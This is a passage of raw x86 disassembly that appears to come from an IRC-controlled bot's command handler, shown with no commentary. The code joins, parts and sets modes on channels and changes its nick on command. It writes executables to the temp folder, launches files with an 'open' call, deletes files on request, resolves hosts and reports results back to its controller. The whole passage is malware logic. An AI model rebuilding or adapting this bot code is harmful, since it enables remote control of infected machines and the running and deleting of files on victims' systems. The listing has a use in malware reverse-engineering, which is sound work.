		push	offset dword_42E760
		jmp	loc_40BE82
; ---------------------------------------------------------------------------


loc_40B3F2:				; CODE XREF: sub_4087B3+2C33j
		push	esi
		push	offset dword_42E734
		jmp	loc_40A6AD
; ---------------------------------------------------------------------------


loc_40B3FD:				; CODE XREF: sub_4087B3+1BADj
					; sub_4087B3+1BC2j
		push	[ebp+arg_18]
		push	offset dword_42C954
		call	sub_416B70
		mov	edi, [ebp+arg_4]
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B57D
		lea	eax, [ebp+var_3E8]
		push	eax
		push	104h
		call	ds:dword_4953B8	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_788]
		push	[ebp+arg_10]
		push	eax
		call	sub_416A10
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_4011E0
		push	eax
		lea	eax, [ebp+var_3E8]
		push	eax
		lea	eax, [ebp+var_688]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_416821
		mov	eax, [ebp+esi+var_94]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_584], 1
		mov	[ebp+var_580], ebx
		jz	short loc_40B494
		push	10h
		push	ebx
		push	eax
		call	sub_4174DB
		add	esp, 0Ch
		mov	[ebp+var_578], eax
		jmp	short loc_40B49A
; ---------------------------------------------------------------------------


loc_40B494:				; CODE XREF: sub_4087B3+2CCBj
		mov	[ebp+var_578], ebx


loc_40B49A:				; CODE XREF: sub_4087B3+2CDFj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_40B4B4
		push	esi
		call	sub_416CCF
		pop	ecx
		mov	[ebp+var_57C], eax
		jmp	short loc_40B4BA
; ---------------------------------------------------------------------------


loc_40B4B4:				; CODE XREF: sub_4087B3+2CF0j
		mov	[ebp+var_57C], ebx


loc_40B4BA:				; CODE XREF: sub_4087B3+2CFFj
		movzx	eax, [ebp+var_9AF]
		push	7Fh
		mov	[ebp+var_574], eax
		push	[ebp+var_98]
		lea	eax, [ebp+var_808]
		mov	[ebp+var_80C], edi
		push	eax
		call	sub_416A10
		mov	eax, [ebp+var_4]
		push	[ebp+arg_10]
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_42E6E8
		push	eax
		call	sub_416821
		push	edi
		lea	eax, [ebp+var_2E4]
		push	16h
		push	eax
		call	sub_40105F
		add	esp, 24h
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_80C]
		push	ebx
		push	eax
		push	offset sub_40104B
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40B560


loc_40B54E:				; CODE XREF: sub_4087B3+2DABj
		cmp	[ebp+var_568], ebx
		jnz	short loc_40B590
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40B54E
; ---------------------------------------------------------------------------


loc_40B560:				; CODE XREF: sub_4087B3+2D99j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_42E690
		push	eax
		call	sub_416821
		add	esp, 0Ch
		jmp	short loc_40B590
; ---------------------------------------------------------------------------


loc_40B57D:				; CODE XREF: sub_4087B3+2C5Ej
		lea	eax, [ebp+var_2E4]
		push	offset unk_42E630
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_40B590:				; CODE XREF: sub_4087B3+2DA1j
					; sub_4087B3+2DC8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40B5AF
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	edi


loc_40B5A7:				; CODE XREF: sub_4087B3+1965j
		call	sub_4010D2
		add	esp, 14h


loc_40B5AF:				; CODE XREF: sub_4087B3+194Bj
					; sub_4087B3+2DE0j ...
		mov	esi, [ebp+arg_24]
		jmp	loc_40B354
; ---------------------------------------------------------------------------


loc_40B5B7:				; CODE XREF: sub_4087B3+1B83j
					; sub_4087B3+1B98j
		push	[ebp+var_9C]
		push	offset a332	; "332"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B77
		cmp	[ebp+var_C], ebx
		jz	loc_408B77
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417760
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_98]
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_2E4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416A10
		push	[ebp+arg_10]
		call	sub_416CCF
		add	esp, 30h
		test	eax, eax
		jle	short loc_40B642
		push	[ebp+arg_10]
		call	sub_416CCF
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_495324	; Sleep


loc_40B642:				; CODE XREF: sub_4087B3+2E77j
		push	offset dword_42E5FC
		call	sub_401014
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_408B7A
; ---------------------------------------------------------------------------


loc_40B656:				; CODE XREF: sub_4087B3+1B59j
					; sub_4087B3+1B6Ej
		push	[ebp+var_9C]
		push	offset a332	; "332"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B77
		cmp	[ebp+var_C], ebx
		jz	loc_40D023
		mov	edi, [ebp+arg_18]
		push	edi
		push	[ebp+var_C]
		call	sub_417760
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_416B70
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_40B714
		push	[ebp+var_98]
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_2E4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416A10
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset dword_42E5D4
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_401014
		push	[ebp+arg_10]
		call	sub_416CCF
		add	esp, 38h
		test	eax, eax
		jle	loc_40D023
		push	[ebp+arg_10]
		call	sub_416CCF
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_408B7A
; ---------------------------------------------------------------------------


loc_40B714:				; CODE XREF: sub_4087B3+2EE6j
		push	offset unk_42E58C
		jmp	loc_40A6AD
; ---------------------------------------------------------------------------


loc_40B71E:				; CODE XREF: sub_4087B3+1B2Fj
					; sub_4087B3+1B44j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2E4]
		push	offset aPartS	; "PART	%s"
		push	eax
		call	sub_416821
		push	[ebp+arg_10]
		call	sub_416CCF
		add	esp, 10h


loc_40B73D:				; CODE XREF: sub_4087B3+2FF7j
		test	eax, eax
		jle	loc_40D023
		push	[ebp+arg_10]
		call	sub_416CCF
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40D023


loc_40B759:				; CODE XREF: sub_4087B3+3799j
		lea	eax, [ebp+var_2E4]
		push	eax
		push	offset aS	; "%s\r\n"
		push	[ebp+arg_10]
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_401032
		jmp	loc_40CDB6
; ---------------------------------------------------------------------------


loc_40B784:				; CODE XREF: sub_4087B3+1B05j
					; sub_4087B3+1B1Aj
		push	[ebp+esi+var_94]
		lea	eax, [ebp+var_2E4]
		push	[ebp+arg_18]
		push	offset aJoinSS_0 ; "JOIN %s %s"
		push	eax
		call	sub_416821
		push	[ebp+arg_10]
		call	sub_416CCF
		add	esp, 14h
		jmp	short loc_40B73D
; ---------------------------------------------------------------------------


loc_40B7AC:				; CODE XREF: sub_4087B3+1ADBj
					; sub_4087B3+1AF0j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2E4]
		push	offset aNickS_0	; "NICK	%s"
		push	eax
		call	sub_416821
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_416CCF
		add	esp, 10h
		test	eax, eax
		jle	loc_40D023
		push	esi
		call	sub_416CCF
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40D023
		lea	eax, [ebp+var_2E4]
		push	eax
		push	offset aS	; "%s\r\n"
		push	esi
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_401032
		push	[ebp+arg_18]
		push	esi
		push	offset dword_42E534


loc_40B813:				; CODE XREF: sub_4087B3+30EAj
					; sub_4087B3+3158j ...
		call	sub_4012B2
		jmp	loc_40CA7A
; ---------------------------------------------------------------------------


loc_40B81D:				; CODE XREF: sub_4087B3+1AB1j
					; sub_4087B3+1AC6j
		cmp	[ebp+var_C], ebx
		jz	loc_40D023
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417760
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40B84E
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset aModeS	; "MODE	%s"
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_40B84E:				; CODE XREF: sub_4087B3+3084j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		jle	loc_40D023
		push	edi
		call	sub_416CCF
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40D023
		lea	eax, [ebp+var_2E4]
		push	eax
		push	offset aS	; "%s\r\n"
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_401032
		push	esi
		push	edi
		push	offset dword_42E4F8
		jmp	loc_40B813
; ---------------------------------------------------------------------------


loc_40B8A2:				; CODE XREF: sub_4087B3+1A87j
					; sub_4087B3+1A9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_40D023
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417760
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40D023
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		jle	loc_40D023
		push	edi
		call	sub_416CCF
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40D023
		push	esi
		push	offset aS	; "%s\r\n"
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_401032
		push	esi
		push	edi
		push	offset dword_42E4CC
		jmp	loc_40B813
; ---------------------------------------------------------------------------


loc_40B910:				; CODE XREF: sub_4087B3+1A5Dj
					; sub_4087B3+1A72j
		cmp	[ebp+var_C], ebx
		jz	loc_40D023
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417760
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40D023
		push	esi
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	esi
		push	offset unk_42E494
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40B949:				; CODE XREF: sub_4087B3+1A33j
					; sub_4087B3+1A48j
		push	[ebp+var_9C]
		push	offset a332	; "332"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B77
		push	[ebp+arg_18]
		push	offset aPartS_0	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	[ebp+arg_10]
		call	sub_416CCF
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_495324	; Sleep
		push	[ebp+esi+var_94]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	offset dword_42E464
		call	sub_401014
		jmp	loc_40C153
; ---------------------------------------------------------------------------


loc_40B9B1:				; CODE XREF: sub_4087B3+1A09j
					; sub_4087B3+1A1Ej
		cmp	[ebp+var_C], ebx
		jz	loc_40D023
		push	[ebp+arg_10]
		call	sub_4158E0
		push	edi
		mov	esi, eax
		call	sub_4158E0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417760
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40D023
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset dword_42EACC
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4010D2
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42E438
		call	sub_4012B2
		add	esp, 2Ch
		jmp	loc_40D023
; ---------------------------------------------------------------------------


loc_40BA23:				; CODE XREF: sub_4087B3+19DFj
					; sub_4087B3+19F4j
		cmp	[ebp+var_C], ebx
		jz	loc_40D023
		push	[ebp+arg_10]
		call	sub_4158E0
		push	edi
		mov	esi, eax
		call	sub_4158E0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417760
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40D023
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4010D2
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42E408
		call	sub_4012B2


loc_40BA75:				; CODE XREF: sub_4087B3+210Fj
		add	esp, 20h
		jmp	loc_40D023
; ---------------------------------------------------------------------------


loc_40BA7D:				; CODE XREF: sub_4087B3+19B5j
					; sub_4087B3+19CAj
		cmp	[ebp+var_C], ebx
		jz	loc_408B77
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417760
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_408B77
		push	eax
		push	[ebp+arg_10]
		call	sub_401037
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset unk_42E3D8
		push	eax
		call	sub_416821
		add	esp, 14h
		jmp	loc_40A72D
; ---------------------------------------------------------------------------


loc_40BAC0:				; CODE XREF: sub_4087B3+1979j
					; sub_4087B3+198Ej
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_417760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D023
		mov	esi, [ebp+esi+var_98]
		cmp	esi, ebx
		jz	loc_40BB65
		push	esi
		push	[ebp+var_C]
		call	sub_417760
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40BB4D
		push	esi
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_98]
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_2E4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416A10
		push	esi
		lea	eax, [ebp+var_2E4]
		push	[ebp+arg_10]
		push	offset unk_42E3A0
		push	eax
		call	sub_416821
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_40CC93
; ---------------------------------------------------------------------------


loc_40BB4D:				; CODE XREF: sub_4087B3+3340j
		lea	eax, [ebp+var_2E4]
		push	offset unk_42E35C
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		jmp	loc_40CC93
; ---------------------------------------------------------------------------


loc_40BB65:				; CODE XREF: sub_4087B3+332Bj
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_401302
		add	esp, 0Ch
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset dword_42E334
		push	200h
		push	eax
		call	sub_4163D7
		add	esp, 24h
		jmp	loc_40CC93
; ---------------------------------------------------------------------------


loc_40BBAE:				; CODE XREF: sub_4087B3+15B0j
					; sub_4087B3+15C5j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_417012
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_40BC2C
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2E4]
		push	esi
		push	eax
		call	sub_417A47
		add	esp, 0Ch


loc_40BBD9:				; CODE XREF: sub_4087B3+3455j
		test	eax, eax
		jz	short loc_40BC0A
		push	1
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		push	edi
		lea	eax, [ebp+var_2E4]
		push	esi
		push	eax
		call	sub_417A47
		add	esp, 20h
		jmp	short loc_40BBD9
; ---------------------------------------------------------------------------


loc_40BC0A:				; CODE XREF: sub_4087B3+3428j
		push	edi
		call	sub_416D94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset unk_42E300
		push	eax
		call	sub_416821
		add	esp, 10h
		jmp	loc_40B5AF
; ---------------------------------------------------------------------------


loc_40BC2C:				; CODE XREF: sub_4087B3+340Ej
		push	[ebp+arg_10]
		push	offset unk_42E2CC
		jmp	loc_40CEF5
; ---------------------------------------------------------------------------


loc_40BC39:				; CODE XREF: sub_4087B3+1586j
					; sub_4087B3+159Bj
		cmp	[ebp+var_C], ebx
		jz	loc_40D023
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417760
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D023
		push	eax
		call	sub_4011F4
		test	eax, eax
		pop	ecx
		jnz	short loc_40BC6C
		push	offset dword_42E29C
		jmp	loc_40BE82
; ---------------------------------------------------------------------------


loc_40BC6C:				; CODE XREF: sub_4087B3+34ADj
		push	offset dword_42E270
		jmp	loc_40BE82
; ---------------------------------------------------------------------------


loc_40BC76:				; CODE XREF: sub_4087B3+155Cj
					; sub_4087B3+1571j
		push	7Fh
		lea	eax, [ebp+var_6F4]
		push	[ebp+arg_10]
		push	eax
		call	sub_416A10
		mov	esi, [ebp+esi+var_98]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40BCA7
		push	7Fh
		lea	eax, [ebp+var_674]
		push	esi
		push	eax
		call	sub_416A10
		add	esp, 0Ch


loc_40BCA7:				; CODE XREF: sub_4087B3+34E0j
		push	7Fh
		lea	eax, [ebp+var_5F4]
		push	[ebp+var_98]
		push	eax
		call	sub_416A10
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_6F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_42E248
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	14h
		push	eax
		call	sub_40105F
		add	esp, 24h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	ebx
		push	eax
		push	offset sub_4011B3
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40BD47


loc_40BD31:				; CODE XREF: sub_4087B3+3592j
		cmp	[ebp+var_568], ebx
		jnz	loc_40CC93
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40BD31
; ---------------------------------------------------------------------------


loc_40BD47:				; CODE XREF: sub_4087B3+357Cj
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E1F0
		jmp	loc_40CC84
; ---------------------------------------------------------------------------


loc_40BD58:				; CODE XREF: sub_4087B3+1532j
					; sub_4087B3+1547j
		push	[ebp+arg_10]
		call	ds:dword_495394	; DeleteFileA
		test	eax, eax
		jz	short loc_40BD6F
		push	[ebp+arg_10]
		push	offset dword_42E1C4
		jmp	short loc_40BD7A
; ---------------------------------------------------------------------------


loc_40BD6F:				; CODE XREF: sub_4087B3+35B0j
		push	offset dword_42E798
		call	sub_4010F5
		push	eax


loc_40BD7A:				; CODE XREF: sub_4087B3+35BAj
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_4163D7
		add	esp, 10h
		jmp	loc_40A0FB
; ---------------------------------------------------------------------------


loc_40BD93:				; CODE XREF: sub_4087B3+1508j
					; sub_4087B3+151Dj
		push	[ebp+arg_10]
		call	sub_416CCF
		push	eax
		call	sub_40124E
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_40BDB4
		push	offset unk_42E18C
		jmp	short loc_40BDB9
; ---------------------------------------------------------------------------


loc_40BDB4:				; CODE XREF: sub_4087B3+35F8j
		push	offset unk_42E144


loc_40BDB9:				; CODE XREF: sub_4087B3+35FFj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_40B354
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h
		jmp	loc_40B354
; ---------------------------------------------------------------------------


loc_40BDF2:				; CODE XREF: sub_4087B3+14DEj
					; sub_4087B3+14F3j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_401280
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_40BE18
		push	offset unk_42E110
		jmp	loc_40CEF5
; ---------------------------------------------------------------------------


loc_40BE18:				; CODE XREF: sub_4087B3+3659j
		push	offset unk_42E0CC
		jmp	loc_40CEF5
; ---------------------------------------------------------------------------


loc_40BE22:				; CODE XREF: sub_4087B3+14B4j
					; sub_4087B3+14C9j
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_49169C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40BE62
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_491614	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40BE7D
		push	dword ptr [eax]


loc_40BE48:				; CODE XREF: sub_4087B3+36C8j
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset dword_42E09C
		push	eax
		call	sub_416821
		add	esp, 10h
		jmp	loc_40A6BC
; ---------------------------------------------------------------------------


loc_40BE62:				; CODE XREF: sub_4087B3+367Fj
		push	esi
		call	dword_4916E0	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40BE7D
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4916E8	; inet_ntoa
		push	eax
		jmp	short loc_40BE48
; ---------------------------------------------------------------------------


loc_40BE7D:				; CODE XREF: sub_4087B3+3691j
					; sub_4087B3+36B8j
		push	offset dword_42E060


loc_40BE82:				; CODE XREF: sub_4087B3+2C3Aj
					; sub_4087B3+34B4j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		jmp	loc_40A6BC
; ---------------------------------------------------------------------------


loc_40BE95:				; CODE XREF: sub_4087B3+148Aj
					; sub_4087B3+149Fj
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_416A10
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset unk_42E028
		push	eax
		call	sub_416821
		add	esp, 18h
		jmp	loc_40B330
; ---------------------------------------------------------------------------


loc_40BEBE:				; CODE XREF: sub_4087B3+1460j
					; sub_4087B3+1475j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4915D0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_40BEE2
		push	offset unk_42DFF8
		jmp	loc_40CEF5
; ---------------------------------------------------------------------------


loc_40BEE2:				; CODE XREF: sub_4087B3+3723j
		push	offset unk_42DFC0
		jmp	loc_40CEF5
; ---------------------------------------------------------------------------


loc_40BEEC:				; CODE XREF: sub_4087B3+1436j
					; sub_4087B3+144Bj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_42C952, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_42DF88
		jmp	loc_40CFA0
; ---------------------------------------------------------------------------


loc_40BF05:				; CODE XREF: sub_4087B3+140Cj
					; sub_4087B3+1421j
		push	[ebp+arg_10]
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		jle	loc_40D023
		push	[ebp+arg_10]
		call	sub_416CCF
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40D023
		push	ebx
		push	ebx
		lea	eax, [ebp+var_20]
		push	2
		push	eax
		call	sub_401343
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset aNickS_0	; "NICK	%s"
		push	eax
		call	sub_416821
		add	esp, 1Ch
		jmp	loc_40B759
; ---------------------------------------------------------------------------


loc_40BF51:				; CODE XREF: sub_4087B3+13E2j
					; sub_4087B3+13F7j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		jle	loc_408B77
		push	edi
		call	sub_416CCF
		mov	esi, 1F4h
		pop	ecx
		cmp	eax, esi
		jge	loc_408B77
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_401032
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_495324	; Sleep
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	dword_4916F4	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		push	dword_43E934[eax]
		call	ds:dword_4953B4	; TerminateThread
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		push	edi
		mov	dword_43E934[eax], ebx
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E720[eax], bl
		jmp	loc_408B77
; ---------------------------------------------------------------------------


loc_40BFFD:				; CODE XREF: sub_4087B3+13B8j
					; sub_4087B3+13CDj
		push	[ebp+arg_10]
		push	offset dword_42DF74
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C02E
		call	sub_401109
		cmp	eax, ebx
		jle	short loc_40C024
		push	eax
		push	offset unk_42DF38
		jmp	loc_40A71E
; ---------------------------------------------------------------------------


loc_40C024:				; CODE XREF: sub_4087B3+3864j
		push	offset unk_42DEFC
		jmp	loc_40C455
; ---------------------------------------------------------------------------


loc_40C02E:				; CODE XREF: sub_4087B3+385Bj
		mov	eax, [ebp+var_A8]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_408B77
		lea	eax, [ebp+edi*4+var_A0]
		mov	[ebp+arg_24], eax


loc_40C04A:				; CODE XREF: sub_4087B3+3908j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_408B77
		push	esi
		call	sub_416CCF
		push	eax
		call	sub_4010A5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40C071
		push	offset unk_42DEC8
		jmp	short loc_40C076
; ---------------------------------------------------------------------------


loc_40C071:				; CODE XREF: sub_4087B3+38B5j
		push	offset unk_42DE88


loc_40C076:				; CODE XREF: sub_4087B3+38BCj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40C0A6
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h


loc_40C0A6:				; CODE XREF: sub_4087B3+38D5j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_401014
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40C04A
		jmp	loc_408B77
; ---------------------------------------------------------------------------


loc_40C0C2:				; CODE XREF: sub_4087B3+138Ej
					; sub_4087B3+13A3j
		cmp	[ebp+var_C], ebx
		jz	loc_40D023
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417760
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40D023
		push	esi
		push	offset aS	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	esi
		push	offset dword_42DE60
		jmp	short loc_40C14E
; ---------------------------------------------------------------------------


loc_40C0F8:				; CODE XREF: sub_4087B3+1364j
					; sub_4087B3+1379j
		push	[ebp+arg_10]
		push	offset aPartS_0	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	[ebp+arg_10]
		push	offset unk_42DE2C
		jmp	short loc_40C14E
; ---------------------------------------------------------------------------


loc_40C112:				; CODE XREF: sub_4087B3+133Aj
					; sub_4087B3+134Fj
		push	[ebp+esi+var_98]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	[ebp+arg_10]
		push	offset unk_42DDF8
		jmp	loc_40B813
; ---------------------------------------------------------------------------


loc_40C136:				; CODE XREF: sub_4087B3+1310j
					; sub_4087B3+1325j
		push	[ebp+arg_10]
